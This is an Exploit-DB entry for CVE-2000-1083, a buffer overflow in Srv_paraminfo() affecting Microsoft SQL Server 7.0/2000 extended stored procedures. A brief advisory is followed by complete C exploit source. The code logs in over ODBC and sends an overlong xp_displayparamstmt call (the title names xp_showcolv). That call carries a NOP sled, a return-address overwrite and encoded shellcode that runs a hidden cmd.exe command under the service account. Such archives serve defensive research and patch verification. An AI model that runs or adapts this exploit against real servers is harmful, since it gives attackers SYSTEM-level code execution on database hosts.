标题: Microsoft SQL Server 7.0/2000 / Data Engine 1.0/2000 - xp_showcolv Buffer Overflow EDB-ID: 20456 CVE: 2000-1083 类型: LOCAL 平台: WINDOWS 发布日期: 2000-12-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2038/info

The API Srv_paraminfo(), which is implemented by Extended Stored Procedures (XPs) in Microsoft SQL Server and Data Engine, is susceptible to a buffer overflow vulnerability which may cause the application to fail or arbitrary code to be executed on the target system depending on the data entered into the buffer.

XPs are DLL files that perform high level functions in SQL Server. When called, they invoke a function called Srv_paraminfo() to parse the input parameters.

A vulnerability lies in Srv_paraminfo() and the fact that it does not check the length of the parameter string that an XP passes to it. If an attacker can pass an overly long string to the XP xp_showcolv, a buffer overflow can occur due to an unsafe memory copy. This can cause SQL Server to crash.

It may also be possible for attackers to execute arbitrary code on the host running SQL Server. The attacker would need to overwrite the return address of the calling function with the address of supplied shellcode in memory. This shellcode would be executed under the context of the account that the SQL Server service was configured to run under. The minimum privilege level that the account would have to possess are SYSTEM privileges.

This vulnerability is confined to those who can successfully log onto the SQL server. 

#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>


int main(int argc, char *argv[])
{
 char szBuffer[1025];  //display successful connection info on
                              //hdbc(s) combo-box    
 SWORD     swStrLen;               //String length   
 SQLHDBC   hdbc;                   //hdbc    
 SQLRETURN nResult;             
 SQLHANDLE henv;
 HSTMT  hstmt;
 SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
 SCHAR server[100]="";
 SCHAR uid[32]=";UID=";
 SCHAR pwd[32]=";PWD=";
 SCHAR *db=";DATABASE=master";

 UCHAR query[20000] = "exec  xp_displayparamstmt '";
 unsigned char ch=0x01;

 int count = 27, var =0, result = 0, chk =0;
 
 if(argc !=4)
 {
  printf("USAGE:\t%s host uid pwd\nDavid Litchfield 9th November 2000\n",argv[0]);
  return 0;
 }

 strncpy(server,argv[1],96);
 strncat(uid,argv[2],28);
 strncat(pwd,argv[3],28);

 strncat(InConnectionString,server,96);
 strncat(InConnectionString,uid,28);
 strncat(InConnectionString,pwd,28);
 strcat(InConnectionString,db);


 while(count < 12083)
 {
   query[count]=0x90;
   count++;
 }

 // jmp eax
 query[count++]=0xFF;
 query[count++]=0xE0;
 
 // nops
 query[count++]=0x90;
 query[count++]=0x90;

 // overwrite saved return address
 query[count++]=0xAE;
 query[count++]=0x20;
 query[count++]=0xA6;
 query[count++]=0x41;

 // code starts in ernest

 query[count++]=0x90;
 // mov edx,eax
 query[count++]=0x8B;
 query[count++]=0xD0;

 // add edx,0x52 <- points to our string table
 query[count++]=0x83;
 query[count++]=0xC2;
 query[count++]=0x52;

 // push ebp
 query[count++]=0x55;

 // mov ebp,esp
 query[count++]=0x8B;
 query[count++]=0xEC;

 // mov edi,0x41A68014
 query[count++]=0xBF;
 query[count++]=0x14;
 query[count++]=0x80;
 query[count++]=0xA6;
 query[count++]=0x41;


 //mov esi,0x41A68040
 query[count++]=0xBE;
 query[count++]=0x40;
 query[count++]=0x80;
 query[count++]=0xA6;
 query[count++]=0x41;

 // mov ecx, 0xFFFFFFFF
 query[count++]=0xB9;
 query[count++]=0xFF;
 query[count++]=0xFF;
 query[count++]=0xFF;
 query[count++]=0xFF;


  

 // sub ecx, 0xFFFFFFB3
 query[count++]=0x83;
 query[count++]=0xE9;
 query[count++]=0xB3;

 // here:

 // sub dword ptr[edx],1
 query[count++]=0x83;
 query[count++]=0x2A;
 query[count++]=0x01;

 // add edx,1
 query[count++]=0x83;
 query[count++]=0xC2;
 query[count++]=0x01;

 // sub ecx,1
 query[count++]=0x83;
 query[count++]=0xE9;
 query[count++]=0x01;

 // test ecx,ecx
 query[count++]=0x85;
 query[count++]=0xC9;

 // jne here
 query[count++]=0x75;
 query[count++]=0xF3;

 // sub edx, 0x48
 query[count++]=0x83;
 query[count++]=0xEA;
 query[count++]=0x48;

 // push edx <- calling LoadLibrary will mess edx so save it on stack
 // Even though we're about to push edx as an arg to LoadLibrary
 // we have to push it twice as LoadLibrary will remove one of them
 // from the stack - once the call has returned pop it back into edx

 query[count++]=0x52; 

 // LoadLibrary("kernel32.dll");
 // push edx
 query[count++]=0x52;

 // call [edi]
 query[count++]=0xFF;
 query[count++]=0x17;


 
 // pop edx
 query[count++]=0x5A;


 // On return LoadLibrary has placed a handle in EAX
 // save this on this stack for later use
 // push eax
 query[count++]=0x50;


 // GetProcAddress(HND,"WinExec");
 // add edx, 0x10
 query[count++]=0x83;
 query[count++]=0xC2;
 query[count++]=0x10;


 // push edx
 // need to save this again - pop it when GetProcAddress returns

 query[count++]=0x52;

 //push edx
 query[count++]=0x52;

 // push eax
 query[count++]=0x50;

 // call [esi]
 query[count++]=0xFF;
 query[count++]=0x16;

 // pop edx
 query[count++]=0x5A;

 // WinExec("cmd.exe /c.....",SW_HIDE);
 // add edx, 0x08
 query[count++]=0x83;
 query[count++]=0xC2;
 query[count++]=0x08;


 // push edx
 query[count++]=0x52; // <- save edx

 // xor ebx,ebx
 query[count++]=0x33;
 query[count++]=0xDB;

 // push ebx
 query[count++]=0x53;

 // push edx
 query[count++]=0x52;

 // call eax
 query[count++]=0xFF;
 query[count++]=0xD0;


 // With the shell spawned code now calls ExitProcess()

 //pop edx
 query[count++]=0x5A;

 
 // pop eax <- This is saved handle to kernel32.dll
 query[count++]=0x58;



 // GetProcAddress(HND,"ExitProcess");
 // add edx,0x24
 query[count++]=0x83;
 query[count++]=0xC2;
 query[count++]=0x24;


 // push edx
 query[count++]=0x52;

 // push eax
 query[count++]=0x50;

 // call [esi]
 query[count++]=0xFF;
 query[count++]=0x16;


 // call ExitProcess(0);
 // xor ebx,ebx
 query[count++]=0x33;
 query[count++]=0xDB;

 // push ebx
 query[count++]=0x53;

 // call eax
 query[count++]=0xFF;
 query[count++]=0xD0;


 // Here are our strings
 // kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess
 // 1 has been added to each character to 'hide' the nulls
 // the loop will sub 1 from each char

 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x6c;
 query[count++]=0x66;
 query[count++]=0x73;
 query[count++]=0x6f;
 query[count++]=0x66;
 query[count++]=0x6d;
 query[count++]=0x34;
 query[count++]=0x33;
 query[count++]=0x2f;
 query[count++]=0x65;
 query[count++]=0x6d;
 query[count++]=0x6d;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x58;
 query[count++]=0x6a;
 query[count++]=0x6f;
 query[count++]=0x46;
 query[count++]=0x79;
 query[count++]=0x66;
 query[count++]=0x64;
 query[count++]=0x01;
 query[count++]=0x64;
 query[count++]=0x6e;
 query[count++]=0x65;
 query[count++]=0x2f;
 query[count++]=0x66;
 query[count++]=0x79;
 query[count++]=0x66;
 query[count++]=0x21;
 query[count++]=0x30;
 query[count++]=0x64;
 query[count++]=0x21;
 query[count++]=0x65;
 query[count++]=0x6a;
 query[count++]=0x73;
 query[count++]=0x21;
 query[count++]=0x3f;
 query[count++]=0x21;
 query[count++]=0x64;
 query[count++]=0x3b;
 query[count++]=0x5d;
 query[count++]=0x74;
 query[count++]=0x72;
 query[count++]=0x6d;
 query[count++]=0x70;
 query[count++]=0x77;
 query[count++]=0x66;
 query[count++]=0x73;
 query[count++]=0x73;
 query[count++]=0x76;
 query[count++]=0x6f;
 query[count++]=0x2f;
 query[count++]=0x75;
 query[count++]=0x79;
 query[count++]=0x75;
 query[count++]=0x01;
 query[count++]=0x01;
 query[count++]=0x46;
 query[count++]=0x79;
 query[count++]=0x6a;
 query[count++]=0x75;
 query[count++]=0x51;
 query[count++]=0x73;
 query[count++]=0x70;
 query[count++]=0x64;
 query[count++]=0x66;
 query[count++]=0x74;
 query[count++]=0x74;
 query[count++]=0x01;




 strcat(query,"',2,3");

 
 
 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
  {
   printf("Error SQLAllocHandle");
   return 0;

  }

 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
   printf("Error SQLSetEnvAttr");
   return 0;

  }


 if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS) 
  {
   printf("SQLAllocHandle - 2");
   return 0;
   
  }

 nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer,  1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);      
 if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO)
  {

   printf("Connected to MASTER database...\n\n");
   SQLAllocStmt(hdbc,&hstmt);
  }

 else
 {
  printf("Couldn't connect.\n");
  return 0;
 }

 if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS)
  {
   printf("\nBuffer has been  sent...c:\\sqloverrun.txt should now exist.");

   return 0;

  }
 printf("Buffer sent..."); 
 


return 0;
} URL: https://www.exploit-db.com/exploits/20456